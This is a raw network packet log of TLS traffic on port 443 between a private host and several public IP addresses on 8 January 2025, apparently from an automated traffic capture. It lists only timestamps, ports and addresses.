Jan 8, 2025 15:44:43.676778078 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676817894 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676822901 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.676830053 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.676870108 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.677795887 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.677854061 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.688241959 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.688251972 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729047060 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.729289055 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.729310036 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.729506969 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729542017 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729558945 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.729578018 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729617119 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.729697943 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729911089 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.729948044 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.729954958 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730025053 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730066061 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.730072975 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730422020 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730456114 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730463028 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.730469942 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730505943 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.730511904 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730572939 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730600119 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.730612993 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.730618954 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.730669975 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.730977058 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.730992079 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731040955 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731050014 CET	443	49803	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.731102943 CET	49803	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731358051 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731379986 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.731403112 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.731419086 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.731424093 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.731436014 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.731489897 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.731491089 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731498003 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.731535912 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.731877089 CET	49805	443	192.168.2.16	188.114.97.3
Jan 8, 2025 15:44:43.731894016 CET	443	49805	188.114.97.3	192.168.2.16
Jan 8, 2025 15:44:43.731939077 CET	49795	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.731956959 CET	443	49795	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.737464905 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.737474918 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.737545013 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.737947941 CET	49806	443	192.168.2.16	104.21.28.45
Jan 8, 2025 15:44:43.737962008 CET	443	49806	104.21.28.45	192.168.2.16
Jan 8, 2025 15:44:43.800843000 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.800966024 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.800996065 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801004887 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.801022053 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801059961 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.801069021 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801846981 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801877022 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801896095 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.801902056 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801942110 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.801948071 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.801954985 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.802004099 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.802011013 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.802864075 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.802918911 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.802927017 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803353071 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803385019 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803406000 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.803412914 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803447962 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803457022 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.803462982 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.803514957 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.803520918 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.804424047 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.804467916 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.804477930 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.812273026 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.812555075 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.812568903 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.813626051 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.813702106 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814101934 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814116001 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814162970 CET	443	49804	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.814162970 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814229012 CET	49804	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814477921 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814511061 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.814589024 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814851999 CET	49807	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.814867973 CET	443	49807	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.848239899 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.848248005 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.853157997 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.864902020 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.864926100 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865045071 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865070105 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865120888 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865247965 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865263939 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865313053 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865320921 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865362883 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865619898 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865637064 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865674019 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865680933 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.865710974 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.865731001 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866013050 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866029024 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866086960 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866094112 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866132021 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866446972 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866462946 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866522074 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866528988 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866589069 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866808891 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866830111 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866884947 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.866890907 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.866939068 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.867011070 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867026091 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867082119 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.867089033 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867130041 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.867441893 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867458105 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867507935 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.867515087 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.867559910 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.873049021 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890140057 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890176058 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890225887 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890249014 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890254974 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890264988 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890383959 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890419006 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890419006 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890433073 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890475035 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890541077 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890575886 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890625000 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890625954 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890636921 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890645027 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.890666008 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.890686989 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891330004 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.891388893 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891396046 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.891426086 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.891441107 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891468048 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891582966 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891593933 CET	443	49798	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.891604900 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.891639948 CET	49798	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.892021894 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.892055035 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.892131090 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.892592907 CET	49808	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.892607927 CET	443	49808	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.895304918 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.922166109 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.922241926 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.922409058 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.922466993 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.922923088 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.922983885 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.923002005 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.923053026 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.923770905 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.923827887 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.923963070 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.923995972 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.924015999 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.924025059 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.924040079 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.924689054 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.924743891 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.924756050 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.924808025 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.926824093 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.926888943 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.927046061 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.927093983 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.927103996 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.927110910 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.927131891 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.927206993 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.927843094 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.927896976 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.927902937 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.927957058 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.953754902 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.953783989 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.953950882 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.953974009 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954030991 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954052925 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954066992 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954108953 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954116106 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954143047 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954164028 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954370022 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954385996 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954448938 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954454899 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954504013 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954761028 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954777002 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954833031 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.954843044 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.954885960 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955066919 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955086946 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955153942 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955161095 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955210924 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955528975 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955544949 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955598116 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955606937 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955650091 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955759048 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955777884 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955821037 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.955831051 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.955874920 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.956002951 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.956018925 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.956069946 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:43.956079006 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:43.956121922 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011326075 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011363983 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011507988 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011580944 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011580944 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011598110 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011634111 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011733055 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011780024 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011785030 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011796951 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.011840105 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.011976957 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012025118 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012064934 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012109041 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012116909 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012142897 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012196064 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012213945 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012226105 CET	443	49796	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012238979 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012279987 CET	49796	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012660027 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.012698889 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.012770891 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.013237953 CET	49809	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.013251066 CET	443	49809	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042581081 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042603970 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042678118 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.042690039 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042735100 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.042813063 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042829037 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042879105 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.042889118 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.042937040 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043190002 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043206930 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043261051 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043267012 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043303967 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043319941 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043504953 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043521881 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043567896 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043576002 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043612957 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043637037 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043872118 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043889046 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043925047 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043941021 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.043946981 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.043978930 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.044013023 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.044065952 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.044559002 CET	49786	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.044570923 CET	443	49786	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.094577074 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.094650030 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.094691992 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.094742060 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.094773054 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.094825983 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.094954967 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.095017910 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.095050097 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.095087051 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.095096111 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.095144033 CET	49801	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.095776081 CET	443	49801	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119270086 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119364977 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119400978 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119431973 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119469881 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.119534016 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.119534016 CET	49802	443	192.168.2.16	172.67.144.59
Jan 8, 2025 15:44:44.119554996 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.120245934 CET	443	49802	172.67.144.59	192.168.2.16
Jan 8, 2025 15:44:44.120292902 CET	443	49802	172.67.144.59	192.168.2.16
